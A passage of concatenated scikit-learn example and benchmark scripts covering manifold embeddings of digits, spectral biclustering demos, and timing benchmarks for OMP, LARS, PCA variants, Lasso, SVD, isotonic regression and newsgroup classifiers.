X_projected = rp.fit_transform(X)
plot_embedding(X_projected, "Random Projection of the digits")


#----------------------------------------------------------------------
# Projection on to the first 2 principal components

print("Computing PCA projection")
t0 = time()
X_pca = decomposition.TruncatedSVD(n_components=2).fit_transform(X)
plot_embedding(X_pca,
               "Principal Components projection of the digits (time %.2fs)" %
               (time() - t0))

#----------------------------------------------------------------------
# Projection on to the first 2 linear discriminant components

print("Computing Linear Discriminant Analysis projection")
X2 = X.copy()
X2.flat[::X.shape[1] + 1] += 0.01  # Make X invertible
t0 = time()
X_lda = discriminant_analysis.LinearDiscriminantAnalysis(n_components=2).fit_transform(X2, y)
plot_embedding(X_lda,
               "Linear Discriminant projection of the digits (time %.2fs)" %
               (time() - t0))


#----------------------------------------------------------------------
# Isomap projection of the digits dataset
print("Computing Isomap embedding")
t0 = time()
X_iso = manifold.Isomap(n_neighbors, n_components=2).fit_transform(X)
print("Done.")
plot_embedding(X_iso,
               "Isomap projection of the digits (time %.2fs)" %
               (time() - t0))


#----------------------------------------------------------------------
# Locally linear embedding of the digits dataset
print("Computing LLE embedding")
clf = manifold.LocallyLinearEmbedding(n_neighbors, n_components=2,
                                      method='standard')
t0 = time()
X_lle = clf.fit_transform(X)
print("Done. Reconstruction error: %g" % clf.reconstruction_error_)
plot_embedding(X_lle,
               "Locally Linear Embedding of the digits (time %.2fs)" %
               (time() - t0))


#----------------------------------------------------------------------
# Modified Locally linear embedding of the digits dataset
print("Computing modified LLE embedding")
clf = manifold.LocallyLinearEmbedding(n_neighbors, n_components=2,
                                      method='modified')
t0 = time()
X_mlle = clf.fit_transform(X)
print("Done. Reconstruction error: %g" % clf.reconstruction_error_)
plot_embedding(X_mlle,
               "Modified Locally Linear Embedding of the digits (time %.2fs)" %
               (time() - t0))


#----------------------------------------------------------------------
# HLLE embedding of the digits dataset
print("Computing Hessian LLE embedding")
clf = manifold.LocallyLinearEmbedding(n_neighbors, n_components=2,
                                      method='hessian')
t0 = time()
X_hlle = clf.fit_transform(X)
print("Done. Reconstruction error: %g" % clf.reconstruction_error_)
plot_embedding(X_hlle,
               "Hessian Locally Linear Embedding of the digits (time %.2fs)" %
               (time() - t0))


#----------------------------------------------------------------------
# LTSA embedding of the digits dataset
print("Computing LTSA embedding")
clf = manifold.LocallyLinearEmbedding(n_neighbors, n_components=2,
                                      method='ltsa')
t0 = time()
X_ltsa = clf.fit_transform(X)
print("Done. Reconstruction error: %g" % clf.reconstruction_error_)
plot_embedding(X_ltsa,
               "Local Tangent Space Alignment of the digits (time %.2fs)" %
               (time() - t0))

#----------------------------------------------------------------------
# MDS  embedding of the digits dataset
print("Computing MDS embedding")
clf = manifold.MDS(n_components=2, n_init=1, max_iter=100)
t0 = time()
X_mds = clf.fit_transform(X)
print("Done. Stress: %f" % clf.stress_)
plot_embedding(X_mds,
               "MDS embedding of the digits (time %.2fs)" %
               (time() - t0))

#----------------------------------------------------------------------
# Random Trees embedding of the digits dataset
print("Computing Totally Random Trees embedding")
hasher = ensemble.RandomTreesEmbedding(n_estimators=200, random_state=0,
                                       max_depth=5)
t0 = time()
X_transformed = hasher.fit_transform(X)
pca = decomposition.TruncatedSVD(n_components=2)
X_reduced = pca.fit_transform(X_transformed)

plot_embedding(X_reduced,
               "Random forest embedding of the digits (time %.2fs)" %
               (time() - t0))

#----------------------------------------------------------------------
# Spectral embedding of the digits dataset
print("Computing Spectral embedding")
embedder = manifold.SpectralEmbedding(n_components=2, random_state=0,
                                      eigen_solver="arpack")
t0 = time()
X_se = embedder.fit_transform(X)

plot_embedding(X_se,
               "Spectral embedding of the digits (time %.2fs)" %
               (time() - t0))

#----------------------------------------------------------------------
# t-SNE embedding of the digits dataset
print("Computing t-SNE embedding")
tsne = manifold.TSNE(n_components=2, init='pca', random_state=0)
t0 = time()
X_tsne = tsne.fit_transform(X)

plot_embedding(X_tsne,
               "t-SNE embedding of the digits (time %.2fs)" %
               (time() - t0))

plt.show()






"""
================================================================
Biclustering documents with the Spectral Co-clustering algorithm
================================================================

This example demonstrates the Spectral Co-clustering algorithm on the
twenty newsgroups dataset. The 'comp.os.ms-windows.misc' category is
excluded because it contains many posts containing nothing but data.

The TF-IDF vectorized posts form a word frequency matrix, which is
then biclustered using Dhillon's Spectral Co-Clustering algorithm. The
resulting document-word biclusters indicate subsets words used more
often in those subsets documents.

For a few of the best biclusters, its most common document categories
and its ten most important words get printed. The best biclusters are
determined by their normalized cut. The best words are determined by
comparing their sums inside and outside the bicluster.

For comparison, the documents are also clustered using
MiniBatchKMeans. The document clusters derived from the biclusters
achieve a better V-measure than clusters found by MiniBatchKMeans.

Output::

    Vectorizing...
    Coclustering...
    Done in 9.53s. V-measure: 0.4455
    MiniBatchKMeans...
    Done in 12.00s. V-measure: 0.3309

    Best biclusters:
    ----------------
    bicluster 0 : 1951 documents, 4373 words
    categories   : 23% talk.politics.guns, 19% talk.politics.misc, 14% sci.med
    words        : gun, guns, geb, banks, firearms, drugs, gordon, clinton, cdt, amendment

    bicluster 1 : 1165 documents, 3304 words
    categories   : 29% talk.politics.mideast, 26% soc.religion.christian, 25% alt.atheism
    words        : god, jesus, christians, atheists, kent, sin, morality, belief, resurrection, marriage

    bicluster 2 : 2219 documents, 2830 words
    categories   : 18% comp.sys.mac.hardware, 16% comp.sys.ibm.pc.hardware, 16% comp.graphics
    words        : voltage, dsp, board, receiver, circuit, shipping, packages, stereo, compression, package

    bicluster 3 : 1860 documents, 2745 words
    categories   : 26% rec.motorcycles, 23% rec.autos, 13% misc.forsale
    words        : bike, car, dod, engine, motorcycle, ride, honda, cars, bmw, bikes

    bicluster 4 : 12 documents, 155 words
    categories   : 100% rec.sport.hockey
    words        : scorer, unassisted, reichel, semak, sweeney, kovalenko, ricci, audette, momesso, nedved

"""
from __future__ import print_function

print(__doc__)

from collections import defaultdict
import operator
import re
from time import time

import numpy as np

from sklearn.cluster.bicluster import SpectralCoclustering
from sklearn.cluster import MiniBatchKMeans
from sklearn.externals.six import iteritems
from sklearn.datasets.twenty_newsgroups import fetch_20newsgroups
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.cluster import v_measure_score


def number_aware_tokenizer(doc):
    """ Tokenizer that maps all numeric tokens to a placeholder.

    For many applications, tokens that begin with a number are not directly
    useful, but the fact that such a token exists can be relevant.  By applying
    this form of dimensionality reduction, some methods may perform better.
    """
    token_pattern = re.compile(u'(?u)\\b\\w\\w+\\b')
    tokens = token_pattern.findall(doc)
    tokens = ["#NUMBER" if token[0] in "0123456789_" else token
              for token in tokens]
    return tokens

# exclude 'comp.os.ms-windows.misc'
categories = ['alt.atheism', 'comp.graphics',
              'comp.sys.ibm.pc.hardware', 'comp.sys.mac.hardware',
              'comp.windows.x', 'misc.forsale', 'rec.autos',
              'rec.motorcycles', 'rec.sport.baseball',
              'rec.sport.hockey', 'sci.crypt', 'sci.electronics',
              'sci.med', 'sci.space', 'soc.religion.christian',
              'talk.politics.guns', 'talk.politics.mideast',
              'talk.politics.misc', 'talk.religion.misc']
newsgroups = fetch_20newsgroups(categories=categories)
y_true = newsgroups.target

vectorizer = TfidfVectorizer(stop_words='english', min_df=5,
                             tokenizer=number_aware_tokenizer)
cocluster = SpectralCoclustering(n_clusters=len(categories),
                                 svd_method='arpack', random_state=0)
kmeans = MiniBatchKMeans(n_clusters=len(categories), batch_size=20000,
                         random_state=0)

print("Vectorizing...")
X = vectorizer.fit_transform(newsgroups.data)

print("Coclustering...")
start_time = time()
cocluster.fit(X)
y_cocluster = cocluster.row_labels_
print("Done in {:.2f}s. V-measure: {:.4f}".format(
    time() - start_time,
    v_measure_score(y_cocluster, y_true)))

print("MiniBatchKMeans...")
start_time = time()
y_kmeans = kmeans.fit_predict(X)
print("Done in {:.2f}s. V-measure: {:.4f}".format(
    time() - start_time,
    v_measure_score(y_kmeans, y_true)))

feature_names = vectorizer.get_feature_names()
document_names = list(newsgroups.target_names[i] for i in newsgroups.target)


def bicluster_ncut(i):
    rows, cols = cocluster.get_indices(i)
    if not (np.any(rows) and np.any(cols)):
        import sys
        return sys.float_info.max
    row_complement = np.nonzero(np.logical_not(cocluster.rows_[i]))[0]
    col_complement = np.nonzero(np.logical_not(cocluster.columns_[i]))[0]
    # Note: the following is identical to X[rows[:, np.newaxis], cols].sum() but
    # much faster in scipy <= 0.16
    weight = X[rows][:, cols].sum()
    cut = (X[row_complement][:, cols].sum() +
           X[rows][:, col_complement].sum())
    return cut / weight


def most_common(d):
    """Items of a defaultdict(int) with the highest values.

    Like Counter.most_common in Python >=2.7.
    """
    return sorted(iteritems(d), key=operator.itemgetter(1), reverse=True)


bicluster_ncuts = list(bicluster_ncut(i)
                       for i in range(len(newsgroups.target_names)))
best_idx = np.argsort(bicluster_ncuts)[:5]

print()
print("Best biclusters:")
print("----------------")
for idx, cluster in enumerate(best_idx):
    n_rows, n_cols = cocluster.get_shape(cluster)
    cluster_docs, cluster_words = cocluster.get_indices(cluster)
    if not len(cluster_docs) or not len(cluster_words):
        continue

    # categories
    counter = defaultdict(int)
    for i in cluster_docs:
        counter[document_names[i]] += 1
    cat_string = ", ".join("{:.0f}% {}".format(float(c) / n_rows * 100, name)
                           for name, c in most_common(counter)[:3])

    # words
    out_of_cluster_docs = cocluster.row_labels_ != cluster
    out_of_cluster_docs = np.where(out_of_cluster_docs)[0]
    word_col = X[:, cluster_words]
    word_scores = np.array(word_col[cluster_docs, :].sum(axis=0) -
                           word_col[out_of_cluster_docs, :].sum(axis=0))
    word_scores = word_scores.ravel()
    important_words = list(feature_names[cluster_words[i]]
                           for i in word_scores.argsort()[:-11:-1])

    print("bicluster {} : {} documents, {} words".format(
        idx, n_rows, n_cols))
    print("categories   : {}".format(cat_string))
    print("words        : {}\n".format(', '.join(important_words)))






"""
==============================================
A demo of the Spectral Co-Clustering algorithm
==============================================

This example demonstrates how to generate a dataset and bicluster it
using the Spectral Co-Clustering algorithm.

The dataset is generated using the ``make_biclusters`` function, which
creates a matrix of small values and implants bicluster with large
values. The rows and columns are then shuffled and passed to the
Spectral Co-Clustering algorithm. Rearranging the shuffled matrix to
make biclusters contiguous shows how accurately the algorithm found
the biclusters.

"""
print(__doc__)

# Author: Kemal Eren <kemal@kemaleren.com>
# License: BSD 3 clause

import numpy as np
from matplotlib import pyplot as plt

from sklearn.datasets import make_biclusters
from sklearn.datasets import samples_generator as sg
from sklearn.cluster.bicluster import SpectralCoclustering
from sklearn.metrics import consensus_score

data, rows, columns = make_biclusters(
    shape=(300, 300), n_clusters=5, noise=5,
    shuffle=False, random_state=0)

plt.matshow(data, cmap=plt.cm.Blues)
plt.title("Original dataset")

data, row_idx, col_idx = sg._shuffle(data, random_state=0)
plt.matshow(data, cmap=plt.cm.Blues)
plt.title("Shuffled dataset")

model = SpectralCoclustering(n_clusters=5, random_state=0)
model.fit(data)
score = consensus_score(model.biclusters_,
                        (rows[:, row_idx], columns[:, col_idx]))

print("consensus score: {:.3f}".format(score))

fit_data = data[np.argsort(model.row_labels_)]
fit_data = fit_data[:, np.argsort(model.column_labels_)]

plt.matshow(fit_data, cmap=plt.cm.Blues)
plt.title("After biclustering; rearranged to show biclusters")

plt.show()






"""
=============================================
A demo of the Spectral Biclustering algorithm
=============================================

This example demonstrates how to generate a checkerboard dataset and
bicluster it using the Spectral Biclustering algorithm.

The data is generated with the ``make_checkerboard`` function, then
shuffled and passed to the Spectral Biclustering algorithm. The rows
and columns of the shuffled matrix are rearranged to show the
biclusters found by the algorithm.

The outer product of the row and column label vectors shows a
representation of the checkerboard structure.

"""
print(__doc__)

# Author: Kemal Eren <kemal@kemaleren.com>
# License: BSD 3 clause

import numpy as np
from matplotlib import pyplot as plt

from sklearn.datasets import make_checkerboard
from sklearn.datasets import samples_generator as sg
from sklearn.cluster.bicluster import SpectralBiclustering
from sklearn.metrics import consensus_score

n_clusters = (4, 3)
data, rows, columns = make_checkerboard(
    shape=(300, 300), n_clusters=n_clusters, noise=10,
    shuffle=False, random_state=0)

plt.matshow(data, cmap=plt.cm.Blues)
plt.title("Original dataset")

data, row_idx, col_idx = sg._shuffle(data, random_state=0)
plt.matshow(data, cmap=plt.cm.Blues)
plt.title("Shuffled dataset")

model = SpectralBiclustering(n_clusters=n_clusters, method='log',
                             random_state=0)
model.fit(data)
score = consensus_score(model.biclusters_,
                        (rows[:, row_idx], columns[:, col_idx]))

print("consensus score: {:.1f}".format(score))

fit_data = data[np.argsort(model.row_labels_)]
fit_data = fit_data[:, np.argsort(model.column_labels_)]

plt.matshow(fit_data, cmap=plt.cm.Blues)
plt.title("After biclustering; rearranged to show biclusters")

plt.matshow(np.outer(np.sort(model.row_labels_) + 1,
                     np.sort(model.column_labels_) + 1),
            cmap=plt.cm.Blues)
plt.title("Checkerboard structure of rearranged data")

plt.show()






"""Benchmarks of orthogonal matching pursuit (:ref:`OMP`) versus least angle
regression (:ref:`least_angle_regression`)

The input data is mostly low rank but is a fat infinite tail.
"""
from __future__ import print_function

import gc
import sys
from time import time

import numpy as np

from sklearn.linear_model import lars_path, orthogonal_mp
from sklearn.datasets.samples_generator import make_sparse_coded_signal


def compute_bench(samples_range, features_range):

    it = 0

    results = dict()
    lars = np.empty((len(features_range), len(samples_range)))
    lars_gram = lars.copy()
    omp = lars.copy()
    omp_gram = lars.copy()

    max_it = len(samples_range) * len(features_range)
    for i_s, n_samples in enumerate(samples_range):
        for i_f, n_features in enumerate(features_range):
            it += 1
            n_informative = n_features / 10
            print('====================')
            print('Iteration %03d of %03d' % (it, max_it))
            print('====================')
            # dataset_kwargs = {
            #     'n_train_samples': n_samples,
            #     'n_test_samples': 2,
            #     'n_features': n_features,
            #     'n_informative': n_informative,
            #     'effective_rank': min(n_samples, n_features) / 10,
            #     #'effective_rank': None,
            #     'bias': 0.0,
            # }
            dataset_kwargs = {
                'n_samples': 1,
                'n_components': n_features,
                'n_features': n_samples,
                'n_nonzero_coefs': n_informative,
                'random_state': 0
            }
            print("n_samples: %d" % n_samples)
            print("n_features: %d" % n_features)
            y, X, _ = make_sparse_coded_signal(**dataset_kwargs)
            X = np.asfortranarray(X)

            gc.collect()
            print("benchmarking lars_path (with Gram):", end='')
            sys.stdout.flush()
            tstart = time()
            G = np.dot(X.T, X)  # precomputed Gram matrix
            Xy = np.dot(X.T, y)
            lars_path(X, y, Xy=Xy, Gram=G, max_iter=n_informative)
            delta = time() - tstart
            print("%0.3fs" % delta)
            lars_gram[i_f, i_s] = delta

            gc.collect()
            print("benchmarking lars_path (without Gram):", end='')
            sys.stdout.flush()
            tstart = time()
            lars_path(X, y, Gram=None, max_iter=n_informative)
            delta = time() - tstart
            print("%0.3fs" % delta)
            lars[i_f, i_s] = delta

            gc.collect()
            print("benchmarking orthogonal_mp (with Gram):", end='')
            sys.stdout.flush()
            tstart = time()
            orthogonal_mp(X, y, precompute=True,
                          n_nonzero_coefs=n_informative)
            delta = time() - tstart
            print("%0.3fs" % delta)
            omp_gram[i_f, i_s] = delta

            gc.collect()
            print("benchmarking orthogonal_mp (without Gram):", end='')
            sys.stdout.flush()
            tstart = time()
            orthogonal_mp(X, y, precompute=False,
                          n_nonzero_coefs=n_informative)
            delta = time() - tstart
            print("%0.3fs" % delta)
            omp[i_f, i_s] = delta

    results['time(LARS) / time(OMP)\n (w/ Gram)'] = (lars_gram / omp_gram)
    results['time(LARS) / time(OMP)\n (w/o Gram)'] = (lars / omp)
    return results


if __name__ == '__main__':
    samples_range = np.linspace(1000, 5000, 5).astype(np.int)
    features_range = np.linspace(1000, 5000, 5).astype(np.int)
    results = compute_bench(samples_range, features_range)
    max_time = max(np.max(t) for t in results.values())

    import matplotlib.pyplot as plt
    fig = plt.figure('scikit-learn OMP vs. LARS benchmark results')
    for i, (label, timings) in enumerate(sorted(results.iteritems())):
        ax = fig.add_subplot(1, 2, i+1)
        vmax = max(1 - timings.min(), -1 + timings.max())
        plt.matshow(timings, fignum=False, vmin=1 - vmax, vmax=1 + vmax)
        ax.set_xticklabels([''] + map(str, samples_range))
        ax.set_yticklabels([''] + map(str, features_range))
        plt.xlabel('n_samples')
        plt.ylabel('n_features')
        plt.title(label)

    plt.subplots_adjust(0.1, 0.08, 0.96, 0.98, 0.4, 0.63)
    ax = plt.axes([0.1, 0.08, 0.8, 0.06])
    plt.colorbar(cax=ax, orientation='horizontal')
    plt.show()






"""
========================
IncrementalPCA benchmark
========================

Benchmarks for IncrementalPCA

"""

import numpy as np
import gc
from time import time
from collections import defaultdict
import matplotlib.pyplot as plt
from sklearn.datasets import fetch_lfw_people
from sklearn.decomposition import IncrementalPCA, RandomizedPCA, PCA


def plot_results(X, y, label):
    plt.plot(X, y, label=label, marker='o')


def benchmark(estimator, data):
    gc.collect()
    print("Benching %s" % estimator)
    t0 = time()
    estimator.fit(data)
    training_time = time() - t0
    data_t = estimator.transform(data)
    data_r = estimator.inverse_transform(data_t)
    reconstruction_error = np.mean(np.abs(data - data_r))
    return {'time': training_time, 'error': reconstruction_error}


def plot_feature_times(all_times, batch_size, all_components, data):
    plt.figure()
    plot_results(all_components, all_times['pca'], label="PCA")
    plot_results(all_components, all_times['ipca'],
                 label="IncrementalPCA, bsize=%i" % batch_size)
    plot_results(all_components, all_times['rpca'], label="RandomizedPCA")
    plt.legend(loc="upper left")
    plt.suptitle("Algorithm runtime vs. n_components\n \
                 LFW, size %i x %i" % data.shape)
    plt.xlabel("Number of components (out of max %i)" % data.shape[1])
    plt.ylabel("Time (seconds)")


def plot_feature_errors(all_errors, batch_size, all_components, data):
    plt.figure()
    plot_results(all_components, all_errors['pca'], label="PCA")
    plot_results(all_components, all_errors['ipca'],
                 label="IncrementalPCA, bsize=%i" % batch_size)
    plot_results(all_components, all_errors['rpca'], label="RandomizedPCA")
    plt.legend(loc="lower left")
    plt.suptitle("Algorithm error vs. n_components\n"
                 "LFW, size %i x %i" % data.shape)
    plt.xlabel("Number of components (out of max %i)" % data.shape[1])
    plt.ylabel("Mean absolute error")


def plot_batch_times(all_times, n_features, all_batch_sizes, data):
    plt.figure()
    plot_results(all_batch_sizes, all_times['pca'], label="PCA")
    plot_results(all_batch_sizes, all_times['rpca'], label="RandomizedPCA")
    plot_results(all_batch_sizes, all_times['ipca'], label="IncrementalPCA")
    plt.legend(loc="lower left")
    plt.suptitle("Algorithm runtime vs. batch_size for n_components %i\n \
                 LFW, size %i x %i" % (
                 n_features, data.shape[0], data.shape[1]))
    plt.xlabel("Batch size")
    plt.ylabel("Time (seconds)")


def plot_batch_errors(all_errors, n_features, all_batch_sizes, data):
    plt.figure()
    plot_results(all_batch_sizes, all_errors['pca'], label="PCA")
    plot_results(all_batch_sizes, all_errors['ipca'], label="IncrementalPCA")
    plt.legend(loc="lower left")
    plt.suptitle("Algorithm error vs. batch_size for n_components %i\n \
                 LFW, size %i x %i" % (
                 n_features, data.shape[0], data.shape[1]))
    plt.xlabel("Batch size")
    plt.ylabel("Mean absolute error")


def fixed_batch_size_comparison(data):
    all_features = [i.astype(int) for i in np.linspace(data.shape[1] // 10,
                                                       data.shape[1], num=5)]
    batch_size = 1000
    # Compare runtimes and error for fixed batch size
    all_times = defaultdict(list)
    all_errors = defaultdict(list)
    for n_components in all_features:
        pca = PCA(n_components=n_components)
        rpca = RandomizedPCA(n_components=n_components, random_state=1999)
        ipca = IncrementalPCA(n_components=n_components, batch_size=batch_size)
        results_dict = {k: benchmark(est, data) for k, est in [('pca', pca),
                                                               ('ipca', ipca),
                                                               ('rpca', rpca)]}

        for k in sorted(results_dict.keys()):
            all_times[k].append(results_dict[k]['time'])
            all_errors[k].append(results_dict[k]['error'])

    plot_feature_times(all_times, batch_size, all_features, data)
    plot_feature_errors(all_errors, batch_size, all_features, data)


def variable_batch_size_comparison(data):
    batch_sizes = [i.astype(int) for i in np.linspace(data.shape[0] // 10,
                                                      data.shape[0], num=10)]

    for n_components in [i.astype(int) for i in
                         np.linspace(data.shape[1] // 10,
                                     data.shape[1], num=4)]:
        all_times = defaultdict(list)
        all_errors = defaultdict(list)
        pca = PCA(n_components=n_components)
        rpca = RandomizedPCA(n_components=n_components, random_state=1999)
        results_dict = {k: benchmark(est, data) for k, est in [('pca', pca),
                                                               ('rpca', rpca)]}

        # Create flat baselines to compare the variation over batch size
        all_times['pca'].extend([results_dict['pca']['time']] *
                                len(batch_sizes))
        all_errors['pca'].extend([results_dict['pca']['error']] *
                                 len(batch_sizes))
        all_times['rpca'].extend([results_dict['rpca']['time']] *
                                 len(batch_sizes))
        all_errors['rpca'].extend([results_dict['rpca']['error']] *
                                  len(batch_sizes))
        for batch_size in batch_sizes:
            ipca = IncrementalPCA(n_components=n_components,
                                  batch_size=batch_size)
            results_dict = {k: benchmark(est, data) for k, est in [('ipca',
                                                                   ipca)]}
            all_times['ipca'].append(results_dict['ipca']['time'])
            all_errors['ipca'].append(results_dict['ipca']['error'])

        plot_batch_times(all_times, n_components, batch_sizes, data)
        # RandomizedPCA error is always worse (approx 100x) than other PCA
        # tests
        plot_batch_errors(all_errors, n_components, batch_sizes, data)

faces = fetch_lfw_people(resize=.2, min_faces_per_person=5)
# limit dataset to 5000 people (don't care who they are!)
X = faces.data[:5000]
n_samples, h, w = faces.images.shape
n_features = X.shape[1]

X -= X.mean(axis=0)
X /= X.std(axis=0)

fixed_batch_size_comparison(X)
variable_batch_size_comparison(X)
plt.show()






"""
Benchmarks of Lasso vs LassoLars

First, we fix a training set and increase the number of
samples. Then we plot the computation time as function of
the number of samples.

In the second benchmark, we increase the number of dimensions of the
training set. Then we plot the computation time as function of
the number of dimensions.

In both cases, only 10% of the features are informative.
"""
import gc
from time import time
import numpy as np

from sklearn.datasets.samples_generator import make_regression


def compute_bench(alpha, n_samples, n_features, precompute):
    lasso_results = []
    lars_lasso_results = []

    it = 0

    for ns in n_samples:
        for nf in n_features:
            it += 1
            print('==================')
            print('Iteration %s of %s' % (it, max(len(n_samples),
                                          len(n_features))))
            print('==================')
            n_informative = nf // 10
            X, Y, coef_ = make_regression(n_samples=ns, n_features=nf,
                                          n_informative=n_informative,
                                          noise=0.1, coef=True)

            X /= np.sqrt(np.sum(X ** 2, axis=0))  # Normalize data

            gc.collect()
            print("- benchmarking Lasso")
            clf = Lasso(alpha=alpha, fit_intercept=False,
                        precompute=precompute)
            tstart = time()
            clf.fit(X, Y)
            lasso_results.append(time() - tstart)

            gc.collect()
            print("- benchmarking LassoLars")
            clf = LassoLars(alpha=alpha, fit_intercept=False,
                            normalize=False, precompute=precompute)
            tstart = time()
            clf.fit(X, Y)
            lars_lasso_results.append(time() - tstart)

    return lasso_results, lars_lasso_results


if __name__ == '__main__':
    from sklearn.linear_model import Lasso, LassoLars
    import matplotlib.pyplot as plt

    alpha = 0.01  # regularization parameter

    n_features = 10
    list_n_samples = np.linspace(100, 1000000, 5).astype(np.int)
    lasso_results, lars_lasso_results = compute_bench(alpha, list_n_samples,
                                            [n_features], precompute=True)

    plt.figure('scikit-learn LASSO benchmark results')
    plt.subplot(211)
    plt.plot(list_n_samples, lasso_results, 'b-',
                            label='Lasso')
    plt.plot(list_n_samples, lars_lasso_results, 'r-',
                            label='LassoLars')
    plt.title('precomputed Gram matrix, %d features, alpha=%s' % (n_features,
                            alpha))
    plt.legend(loc='upper left')
    plt.xlabel('number of samples')
    plt.ylabel('Time (s)')
    plt.axis('tight')

    n_samples = 2000
    list_n_features = np.linspace(500, 3000, 5).astype(np.int)
    lasso_results, lars_lasso_results = compute_bench(alpha, [n_samples],
                                           list_n_features, precompute=False)
    plt.subplot(212)
    plt.plot(list_n_features, lasso_results, 'b-', label='Lasso')
    plt.plot(list_n_features, lars_lasso_results, 'r-', label='LassoLars')
    plt.title('%d samples, alpha=%s' % (n_samples, alpha))
    plt.legend(loc='upper left')
    plt.xlabel('number of features')
    plt.ylabel('Time (s)')
    plt.axis('tight')
    plt.show()






"""Benchmarks of Singular Value Decomposition (Exact and Approximate)

The data is mostly low rank but is a fat infinite tail.
"""
import gc
from time import time
import numpy as np
from collections import defaultdict

from scipy.linalg import svd
from sklearn.utils.extmath import randomized_svd
from sklearn.datasets.samples_generator import make_low_rank_matrix


def compute_bench(samples_range, features_range, n_iter=3, rank=50):

    it = 0

    results = defaultdict(lambda: [])

    max_it = len(samples_range) * len(features_range)
    for n_samples in samples_range:
        for n_features in features_range:
            it += 1
            print('====================')
            print('Iteration %03d of %03d' % (it, max_it))
            print('====================')
            X = make_low_rank_matrix(n_samples, n_features,
                                  effective_rank=rank,
                                  tail_strength=0.2)

            gc.collect()
            print("benchmarking scipy svd: ")
            tstart = time()
            svd(X, full_matrices=False)
            results['scipy svd'].append(time() - tstart)

            gc.collect()
            print("benchmarking scikit-learn randomized_svd: n_iter=0")
            tstart = time()
            randomized_svd(X, rank, n_iter=0)
            results['scikit-learn randomized_svd (n_iter=0)'].append(
                time() - tstart)

            gc.collect()
            print("benchmarking scikit-learn randomized_svd: n_iter=%d "
                  % n_iter)
            tstart = time()
            randomized_svd(X, rank, n_iter=n_iter)
            results['scikit-learn randomized_svd (n_iter=%d)'
                    % n_iter].append(time() - tstart)

    return results


if __name__ == '__main__':
    from mpl_toolkits.mplot3d import axes3d  # register the 3d projection
    import matplotlib.pyplot as plt

    samples_range = np.linspace(2, 1000, 4).astype(np.int)
    features_range = np.linspace(2, 1000, 4).astype(np.int)
    results = compute_bench(samples_range, features_range)

    label = 'scikit-learn singular value decomposition benchmark results'
    fig = plt.figure(label)
    ax = fig.gca(projection='3d')
    for c, (label, timings) in zip('rbg', sorted(results.iteritems())):
        X, Y = np.meshgrid(samples_range, features_range)
        Z = np.asarray(timings).reshape(samples_range.shape[0],
                                        features_range.shape[0])
        # plot the actual surface
        ax.plot_surface(X, Y, Z, rstride=8, cstride=8, alpha=0.3,
                        color=c)
        # dummy point plot to stick the legend to since surface plot do not
        # support legends (yet?)
        ax.plot([1], [1], [1], color=c, label=label)

    ax.set_xlabel('n_samples')
    ax.set_ylabel('n_features')
    ax.set_zlabel('Time (s)')
    ax.legend()
    plt.show()






"""
Benchmarks of isotonic regression performance.

We generate a synthetic dataset of size 10^n, for n in [min, max], and
examine the time taken to run isotonic regression over the dataset.

The timings are then output to stdout, or visualized on a log-log scale
with matplotlib.

This allows the scaling of the algorithm with the problem size to be
visualized and understood.
"""
from __future__ import print_function

import numpy as np
import gc
from datetime import datetime
from sklearn.isotonic import isotonic_regression
from sklearn.utils.bench import total_seconds
import matplotlib.pyplot as plt
import argparse


def generate_perturbed_logarithm_dataset(size):
    return np.random.randint(-50, 50, size=n) \
        + 50. * np.log(1 + np.arange(n))


def generate_logistic_dataset(size):
    X = np.sort(np.random.normal(size=size))
    return np.random.random(size=size) < 1.0 / (1.0 + np.exp(-X))


DATASET_GENERATORS = {
    'perturbed_logarithm': generate_perturbed_logarithm_dataset,
    'logistic': generate_logistic_dataset
}


def bench_isotonic_regression(Y):
    """
    Runs a single iteration of isotonic regression on the input data,
    and reports the total time taken (in seconds).
    """
    gc.collect()

    tstart = datetime.now()
    isotonic_regression(Y)
    delta = datetime.now() - tstart
    return total_seconds(delta)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description="Isotonic Regression benchmark tool")
    parser.add_argument('--iterations', type=int, required=True,
                        help="Number of iterations to average timings over "
                        "for each problem size")
    parser.add_argument('--log_min_problem_size', type=int, required=True,
                        help="Base 10 logarithm of the minimum problem size")
    parser.add_argument('--log_max_problem_size', type=int, required=True,
                        help="Base 10 logarithm of the maximum problem size")
    parser.add_argument('--show_plot', action='store_true',
                        help="Plot timing output with matplotlib")
    parser.add_argument('--dataset', choices=DATASET_GENERATORS.keys(),
                        required=True)

    args = parser.parse_args()

    timings = []
    for exponent in range(args.log_min_problem_size,
                          args.log_max_problem_size):
        n = 10 ** exponent
        Y = DATASET_GENERATORS[args.dataset](n)
        time_per_iteration = \
            [bench_isotonic_regression(Y) for i in range(args.iterations)]
        timing = (n, np.mean(time_per_iteration))
        timings.append(timing)

        # If we're not plotting, dump the timing to stdout
        if not args.show_plot:
            print(n, np.mean(time_per_iteration))

    if args.show_plot:
        plt.plot(*zip(*timings))
        plt.title("Average time taken running isotonic regression")
        plt.xlabel('Number of observations')
        plt.ylabel('Time (s)')
        plt.axis('tight')
        plt.loglog()
        plt.show()






from __future__ import print_function, division
from time import time
import argparse
import numpy as np

from sklearn.dummy import DummyClassifier

from sklearn.datasets import fetch_20newsgroups_vectorized
from sklearn.metrics import accuracy_score
from sklearn.utils.validation import check_array

from sklearn.ensemble import RandomForestClassifier
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.ensemble import AdaBoostClassifier
from sklearn.linear_model import LogisticRegression
from sklearn.naive_bayes import MultinomialNB

ESTIMATORS = {
    "dummy": DummyClassifier(),
    "random_forest": RandomForestClassifier(n_estimators=100,
                                            max_features="sqrt",
                                            min_samples_split=10),
    "extra_trees": ExtraTreesClassifier(n_estimators=100,
                                        max_features="sqrt",
                                        min_samples_split=10),
    "logistic_regression": LogisticRegression(),
    "naive_bayes": MultinomialNB(),
    "adaboost": AdaBoostClassifier(n_estimators=10),
}


###############################################################################
# Data

if __name__ == "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument('-e', '--estimators', nargs="+", required=True,
                        choices=ESTIMATORS)
    args = vars(parser.parse_args())

    data_train = fetch_20newsgroups_vectorized(subset="train")
    data_test = fetch_20newsgroups_vectorized(subset="test")
    X_train = check_array(data_train.data, dtype=np.float32,
                          accept_sparse="csc")
    X_test = check_array(data_test.data, dtype=np.float32, accept_sparse="csr")
    y_train = data_train.target
    y_test = data_test.target

    print("20 newsgroups")
    print("=============")
    print("X_train.shape = {0}".format(X_train.shape))
    print("X_train.format = {0}".format(X_train.format))
    print("X_train.dtype = {0}".format(X_train.dtype))
    print("X_train density = {0}"
